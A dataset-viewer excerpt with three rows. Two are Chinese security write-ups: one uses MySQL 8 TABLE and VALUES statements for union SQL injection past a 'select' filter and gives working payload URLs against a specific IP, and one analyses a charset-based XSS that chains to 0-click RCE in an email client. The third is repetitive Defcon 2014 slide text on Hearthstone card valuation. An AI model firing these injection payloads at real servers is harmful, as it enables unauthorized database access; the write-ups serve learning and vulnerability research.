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train · 428k rows

text stringlengths 100 9.93M	category stringclasses 11 values
在P师傅小密圈看到了一道有意思的注入题 http://47.98.160.61/1.php?showme=1 代码如下： 1 <?php 2 if(!empty($_GET['showme'])) 3 highlight_file(__FILE__); 4 $aaa=mysqli_connect("127.0.0.1","test",'test','test'); 5 if(empty($_GET['id'])){ 6 $id=1; 7 }else{ 8 $id=$_GET['id']; 9 } 10 $clean = strtolower($id); 11 if (strpos($clean,'select') !== false){echo 'waf';exit();} 12 var_dump("select * from news where id='$id'"); 13 $result=mysqli_query($aaa,"select * from news where id='$id'"); 14 $row=mysqli_fetch_array($result); 15 $title=$row['title']; 16 $content=$row['content']; 17 echo "<h1>$title</h1><br>"; 18 19 echo "<h2>$content</h2><br>"; 从代码上来看，过滤了select，这里代码的过滤我是绕不过去，所以把重点放在了“如何在不使用select关键字的情况下，依旧可以注入” 在2019强网杯，有一道类似的题是可以使用堆叠注入，通过预处理语句拼接关键字进行绕过，但是这里的代码并不支持堆叠注入猜测这里的tips可能和mysql的版本特性有关系。不能使用select，但是可以通过盲注先获取一下mysql的版本信息通过盲注得到mysql版本为: 8.0.20-0ubuntu0.20.04.1 猜测和版本特性有关，于是查看了mysql的官方文档，在当中查找到了答案： https://dev.mysql.com/doc/refman/8.0/en/table.html https://dev.mysql.com/doc/refman/8.0/en/values.html https://dev.mysql.com/doc/refman/8.0/en/union.html 在mysql8.0.19当中引入了两个DML语句，table和values table mysql8.0.19引入，返回命名表的行和列 1 TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 简单概括一下文档中介绍的（个人理解） table table_name相当于select * from table_name，可以理解为这两个语句产生的执行效果是一样的，但是 table table_name使用时有一些限制如下： 1、只能显示表的所有列，也就是没有办法获取指定的列 2、不能使用where子句所以当存在两个表A和B，并且A和B的列数一样时，当注入点如下： select * from A where xxx=xxx 就可以构造 select * from A where xxx=xxx and 1=2 union table B-- - 此时如果页面有回显,就可以获取到B表的数据所以这道题可以用这个方式获取admin表的数据（一开始提示了两个表的列数相同） http://47.98.160.61/1.php?showme=1&id=-1%27%20%20union%20table%20admin--%20- values mysql8.0.19引入，返回一组一个或多个行作为表。换句话说，它是一个表值构造函数，还可以充当独立的SQL语句 1 VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] 2 3 row_constructor_list: 4 ROW(value_list)[, ROW(value_list)][, ...] 5 6 value_list: 7 value[, value][, ...] 8 9 column_designator: 10 column_index 理解：通过执行：values row(1,2,...)[row(3,4,...)]，会生成一个表，表的列名为column_0、column_1.... select * from A where xxx=xxx union values row(1,2,3); 类似于 select * from A where xxx=xxx union select 1,2,3; 所以在不能使用select的情况下，可以通过values DML语句判断表的列数，回显一些信息等判断出列数为3，以及回显的位置 http://47.98.160.61/1.php?showme=1&id=-1%27%20%20union%20values%20row(1,2,3)--%20- 回显一些数据库信息 http://47.98.160.61/1.php? showme=1&id=-1%27%20%20union%20values%20row(1,concat(user(),0x3a,version(),0x3a,database()),3)- -%20- 一些未解决的问题：当列数不同时，或者在当不知道表名的情况下，如何才能通过回显获取数据	pdf
某Air客户端0click RCE分析前⾔某Air客户端的RCE漏洞曝出来有⼀段时间了，前⼈已经分析了如何利⽤%00截断实现双击附件即可执⾏exe的效果。[详情⻅附件1] 本⽂就再进⼀步，借助⼀个XSS实现打开邮件即可触发RCE。 XSS挖掘翻了⼀下⽂件，发现客户端显示邮件的⻚⾯是⽤HTML写的，客户端调⽤cef渲染HTML。 HTML⽂件在 cmclient\app\template\readMail ⽬录中，其中 index.html 是⻚⾯内容； readMail.html 是邮件正⽂的模板，打开邮件时客户端会依照这个模板⽣成⼀个包含邮件正⽂的完整html⻚⾯放在 C:\Users\Administrator\AppData\Roaming\Cm\CMClient\temp\mail ⽬录，通过 iframe包含在⻚⾯中。简单看⼀下代码很容易就能发现两个疑似的XSS漏洞点。第⼀个点在index.html中，如果这⾥ mailId 可控的话也许可以使⽤单引号构造⼀个XSS，但是没找到控制mailId的办法，⽽且这⾥还是需要点击才能触发，满⾜不了预期。第⼆个点在邮件正⽂中，Air客户端在处理邮件正⽂的时候虽然去掉了 <script> 标签以及 onxxx 的事件，但是通过⼀个换⾏很容易就能绕过不过这⾥由于正⽂模板中加了很严格的CSP策略，inline的js代码⽆法执⾏，所以这条路也被迫终⽌。（p.s. ⽹⻚版没有CSP限制，不过同样也没有这个绕过🤡）本以为这次分析到这⾥就要以失败告终了。多亏了⼤佬提醒，才发现原来邮件正⽂的 charset 中也有⼀个XSS。 charset 来⾃于模板替换，⽽且位于CSP之前所以不受CSP的影响。之前⼀⼼想着如果通过不完善的策略绕过CSP，确没想到就在眼⽪底下还有另外⼀个不受 CSP影响的漏洞点。哎，果然是不识庐⼭真⾯⽬，只缘身在此⼭中。 charset变量xss漏洞成因⼤概分析了⼀下由模板⽂件⽣成⽬标html的的过程: parse_html 函数主要将模板中的变量都替换为eml中⽂的值，然后调⽤WriteFile写⼊临时⽂件，这⾥主要跟⼊⼀下 parse_html 函数，此函数有⼀个⼤循环，会对模板中的多处变量都进⾏替换。主要看replace_key函数：调试⼀下，看⼀下到底传⼊的是什么参数。第⼆个参数 3E 是html模板开头到 {{CHARSET}} 的⻓度，第三个参数 0B 是 {{CHARSET}} 的⻓度，第四个参数就是我们 eml中设定的变量值，继续跟会发现。直接⼏次内存copy，将字符串拼接起来：接着第⼆次copy：⾄此发现并没有对 charset的值进⾏任何的过滤，直接拼接到了模板⾥，所以可以逃逸双引号，产⽣XSS漏洞。新版本patch分析最后看⼀下最新版是怎么patch的，找到同样的函数，发现在读取eml⽂件的时候加了这样的⼀个过滤函数：如果读取的 charset变量有字符不再这个⽩字符串表中，就直接将 charset变量重置为空，这修复⽅法太暴⼒了.... 感觉是没办法再搞了。但是要注意他这个仅仅是对 charset 变量做了⼀次，如果其他地⽅也有可以控制的变量，同样还是存在xss的可能。构造利⽤有了XSS其实就⽐较容易利⽤了，只需要执⾏js触发打开附件的操作，就可以实现0click rce。由于众所周知的原因PoC暂时不公开，感兴趣的伙伴可以⾃⾏尝试构造⼀波。知识星球欢迎⼤家加⼊我的知识星球，和⼀群⼩伙伴⼀起交流学习。	pdf
\ I am a legend Celine & Elie Bursztein https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Digital Collectible Card Game Released by Blizzard in 2014 Based of World of Warcraft universe Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Sometimes too interesting leads to un-intended consequences Painting by http://www.jason-w.com/blog/the-fall-of-lordaeron Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Game complexity generates exploitable biases Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Outline Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Outline 1. Finding undervalued cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Outline 1. Finding undervalued cards 2. Predicting opponent deck Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Outline 1. Finding undervalued cards 2. Predicting opponent deck 3. Predicting the game outcome Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Outline 1. Finding undervalued cards 2. Predicting opponent deck 3. Predicting the game outcome 4. Incoming alien invasion (or not) Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs You hero Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs You hero Opponent hero Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Hero health Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Deck Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs hand Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs hand Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs mana pool Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Weapon Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Minions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs video of a turn Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs video of a turn Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Mana Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Mana Attack Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Mana Attack Health Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Card special abilities is what makes the game complex and interesting Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Card special abilities is what makes the game complex and interesting \ Finding undervalued cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1. Mana cost is proportional to card power Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1. Mana cost is proportional to card power 2. The power of cards roughly increase linearly Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1. Mana cost is proportional to card power 2. The power of cards roughly increase linearly 3. Card effects have constant price Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1. Mana cost is proportional to card power 2. The power of cards roughly increase linearly 3. Card effects have constant price 4. A card have an intrinsic value Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1. Mana cost is proportional to card power 2. The power of cards roughly increase linearly 3. Card effects have constant price 4. A card have an intrinsic value 5. The value of the card is the sum of its attribute Model assumptions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs = + mana attack health + intrinsic value Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs = + mana attack health + intrinsic value 4 4a + i = + 5h Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i 4 = 4a + 5h + i Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i 4 = 4a + 5h + i /6 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i 1 = 1a + 1.16h + i 4 = 4a + 5h + i /6 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i 1 = 1a + 1.16h + i 4 = 4a + 5h + i /6 /4 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 6 = 6a + 7h + i 1 = 1a + 1.16h + i 4 = 4a + 5h + i 1 = 1a + 1.25h + i /6 /4 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 10 = 10d 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 10 = 10d 1 mana = 1 dmg 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 10 = 10d 1 mana = 1 dmg Pre nerf (8 mana) 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 10 = 10d 1 mana = 1 dmg 8 = 10d Pre nerf (8 mana) 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 6d 10 = 10d 1 mana = 1 dmg 8 = 10d 1 mana = 1.25 dmg Pre nerf (8 mana) 1 mana = 1.5 dmg Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 10 damages 4 damages imply Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 15 damages 6 damages 10 damages 4 damages imply imply Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Hunting for under-valued cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs How to ﬁnd undervalued cards? Model cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs How to ﬁnd undervalued cards? Model cards Reverse coefﬁcients Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs How to ﬁnd undervalued cards? Model cards Compute cards real value Reverse coefﬁcients Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs How to ﬁnd undervalued cards? Model cards Compute cards real value Reverse coefﬁcients Proﬁt :) Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Simple 5 cards example Use simpler coefﬁcients Approach illustrated Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Charge Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Charge Divine shield Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 4a + 3h + c + i Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 4 = 4a + 3h + c + i 6 = 5a + 2h + c + i 6 = 4a + 2h + c + d + i 3 = 3a + 1h + d + i 1 = 1a + 1h + d + i Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 3 3 1 0 1 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 3 3 1 0 1 1 1 1 1 0 1 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 3 3 1 0 1 1 1 1 1 0 1 1 Least square Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 3 3 1 0 1 1 1 1 1 0 1 1 Atk Health Charge Divine Intrinsic = = = = = 1 -1 2 1 1 Least square Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversing attribute cost mana Atk Health Charge Divine Intrinsic 4 4 3 1 0 1 6 5 2 1 0 1 6 4 2 1 1 1 3 3 1 0 1 1 1 1 1 0 1 1 Atk Health Charge Divine Intrinsic = = = = = 1 -1 2 1 1 Warning these example attribute costs are bogus as we didn’t use enough cards Least square Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i 41 + 2-1 + 2 + 1 + 1 = 6 Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i 41 + 2-1 + 2 + 1 + 1 = 6 Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i 41 + 2-1 + 2 + 1 + 1 = 6 1a + 1h + d + i Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i 41 + 2-1 + 2 + 1 + 1 = 6 1a + 1h + d + i 11 + 1-1 + 1 + 1 = 2 Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Finding card real price using reversed coefﬁcients 4a + 2h + c + d + i 41 + 2-1 + 2 + 1 + 1 = 6 1a + 1h + d + i 11 + 1-1 + 1 + 1 = 2 Atk = 1 Health = -1 Charge = 2 Divine = 1 Intrinsic = 1 Coeffs: Under-valued card! Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Redit story Thanks you for the feedback! https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Modeling dependance between characteristics Thanks to Niels for the idea Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Charge = Atk * charge coeff Windfury = Atk * windfury coeff Divine = ? (health related?) ! Modeling dependance between characteristics Thanks to Niels for the idea Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Charge = Atk * charge coeff Windfury = Atk * windfury coeff Divine = ? (health related?) ! Modeling dependance between characteristics Thanks to Niels for the idea Model also use a card budget: 2*mana + 1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs oi Et voila! Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversed budget coefﬁcients Effect cost per point Destroy minion 10.63 Board damage 3.69 Draw card 3.68 Divine Shield 2.74 Freeze 2.04 Silence 1.66 Damage 1.64 Durability 1.22 Stealth 1.21 Attack 1.14 Taunt 1.02 WindFury 0.96 SpellPower 0.93 Health 0.81 Battlecry heal 0.69 Battlecry self hero heal 0.68 Charge 0.65 Intrinsic value 0.32 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversed budget coefﬁcients Effect cost per point Destroy minion 10.63 Board damage 3.69 Draw card 3.68 Divine Shield 2.74 Freeze 2.04 Silence 1.66 Damage 1.64 Durability 1.22 Stealth 1.21 Attack 1.14 Taunt 1.02 WindFury 0.96 SpellPower 0.93 Health 0.81 Battlecry heal 0.69 Battlecry self hero heal 0.68 Charge 0.65 Intrinsic value 0.32 2 coeff point ~ 1 mana point Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversed budget coefﬁcients Effect cost per point Destroy minion 10.63 Board damage 3.69 Draw card 3.68 Divine Shield 2.74 Freeze 2.04 Silence 1.66 Damage 1.64 Durability 1.22 Stealth 1.21 Attack 1.14 Taunt 1.02 WindFury 0.96 SpellPower 0.93 Health 0.81 Battlecry heal 0.69 Battlecry self hero heal 0.68 Charge 0.65 Intrinsic value 0.32 Effect Cost per point Opponent draw card -3.97 Discard cards -2.67 Overload -1.68 Self hero damage -0.54 2 coeff point ~ 1 mana point Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Reversed budget coefﬁcients Effect cost per point Destroy minion 10.63 Board damage 3.69 Draw card 3.68 Divine Shield 2.74 Freeze 2.04 Silence 1.66 Damage 1.64 Durability 1.22 Stealth 1.21 Attack 1.14 Taunt 1.02 WindFury 0.96 SpellPower 0.93 Health 0.81 Battlecry heal 0.69 Battlecry self hero heal 0.68 Charge 0.65 Intrinsic value 0.32 Effect Cost per point Opponent draw card -3.97 Discard cards -2.67 Overload -1.68 Self hero damage -0.54 2 coeff point ~ 1 mana point Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cost estimated by the algorithm (in mana) 0 1 2 3 4 5 6 7 8 9 10 Cost assigned by Blizzard (in mana) 0 1 2 3 4 5 6 7 8 9 10 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cost estimated by the algorithm (in mana) 0 1 2 3 4 5 6 7 8 9 10 Cost assigned by Blizzard (in mana) 0 1 2 3 4 5 6 7 8 9 10 undervalued cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cost estimated by the algorithm (in mana) 0 1 2 3 4 5 6 7 8 9 10 Cost assigned by Blizzard (in mana) 0 1 2 3 4 5 6 7 8 9 10 undervalued cards overpriced cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Model found a couple of clearly undervalued cards :) Cost estimated by the algorithm (in mana) 0 1 2 3 4 5 6 7 8 9 10 Cost assigned by Blizzard (in mana) 0 1 2 3 4 5 6 7 8 9 10 undervalued cards overpriced cards Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Most under-valued cards (~130 cards) Full data https://www.elie.net/tools/hearthstone/cards_value Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Taking it to the next level Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs • 100 000 games from May to June • Thanks to … for it :) • Need a longer term solution Game replays Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Pricing cards with unique effects Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards in hand Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Health Real Value 1 1.3 2 1.9 3 2.5 4 3 5 3.6 6 4.1 7 4.7 8 5.3 9 5.9 Cards in hand Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1.3 1.9 2.5 3.0 3.6 4.2 4.7 5.3 5.9 Overpriced Fair Undervalued Num of Twilight Drakes made 0 500 1000 1500 2000 2500 Drake Health 1 2 3 4 5 6 7 8 9 Average real value 3.7 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Twilight drake price is fair 1.3 1.9 2.5 3.0 3.6 4.2 4.7 5.3 5.9 Overpriced Fair Undervalued Num of Twilight Drakes made 0 500 1000 1500 2000 2500 Drake Health 1 2 3 4 5 6 7 8 9 Average real value 3.7 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards played this turn Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Edwin size Real value 2/2 1.09 4/4 3.04 6/6 4.98 8/8 6.92 10/10 8.87 12/12 10.51 14/14 12.75 16/16 14.70 18/18 16.64 20/20 18.58 22/22 20.53 Cards played this turn Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1.1 3.0 Over-priced Fair Undervalued 5.0 6.9 8.9 10.8 12.8 14.7 16.6 18.6 20.5 22.5 24.4 26.4 Num of VanCleef made 0 100 200 300 400 500 600 700 800 VanCleef size (atk/hp) 2/2 4/4 6/6 8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 1.1 3.0 Over-priced Fair Undervalued 5.0 6.9 8.9 10.8 12.8 14.7 16.6 18.6 20.5 22.5 24.4 26.4 Num of VanCleef made 0 100 200 300 400 500 600 700 800 VanCleef size (atk/hp) 2/2 4/4 6/6 8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28 Average real value 8.1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs VanCleef is undervalued, a fair price is probably between 5 and 7 mana 1.1 3.0 Over-priced Fair Undervalued 5.0 6.9 8.9 10.8 12.8 14.7 16.6 18.6 20.5 22.5 24.4 26.4 Num of VanCleef made 0 100 200 300 400 500 600 700 800 VanCleef size (atk/hp) 2/2 4/4 6/6 8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28 Average real value 8.1 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Num Minions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Num Minions Damage Value 4 6.5 8 13.9 12 21.3 16 28.6 20 36.0 24 43.4 28 50.7 Board damage coeff Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Num Minions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Num Minions Normal damage coeff Damage Real Value 4 2.43835 8 5.71835 12 8.99835 16 12.27835 20 15.55835 24 18.83835 28 22.11835 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Flamestrike price is fair Don’t split board damage and single damage coeff 2.4 5.7 9.0 12.3 15.6 18.8 22.1 Over-priced Undervalued Num of Flamestike casted 0 10 20 30 40 50 60 70 80 90 100 110 120 130 140 Potential damage 4 8 12 16 20 24 28 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Predicting cards Predicting opponent deck Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Celine Our tool :) Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs My deck with card tracking Game metrics Opponent cards played so far Opponent next cards prediction Real time dashboard Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Game metrics Me Opponent Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs My deck T = Total P = Played D = Dead Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs My opponent T = Total P = Played D = Dead Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Predictions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Game data from Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Sniff packets Game data from Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Sniff packets OCR Game data from Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Sniff packets OCR Debug log Game data from Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Sniff packets OCR Debug log Game data from Real logs from Blizzard like in WoW ? Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Demo video https://www.youtube.com/watch?v=--byrlBQLCY Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Demo video https://www.youtube.com/watch?v=--byrlBQLCY Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Turn by Turn History Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Available on Github LightWind/hearthstone-dashboard Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Naxx new cards made the meta to unstable to be predicted accurately for now Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Anatomy of our prediction system Model card afﬁnities Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Anatomy of our prediction system Model card afﬁnities Evaluate afﬁnities Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Anatomy of our prediction system Model card afﬁnities Learn from replays Evaluate afﬁnities Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Anatomy of our prediction system Model card afﬁnities Learn from replays Evaluate afﬁnities Proﬁt :) Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Modeling cards afﬁnities Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards bigrams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards bigrams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards bigrams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Cards un-ordered bigrams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Evaluate cards afﬁnities Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played Celine & Elie Bursztein I am a legend - Defcon 2014 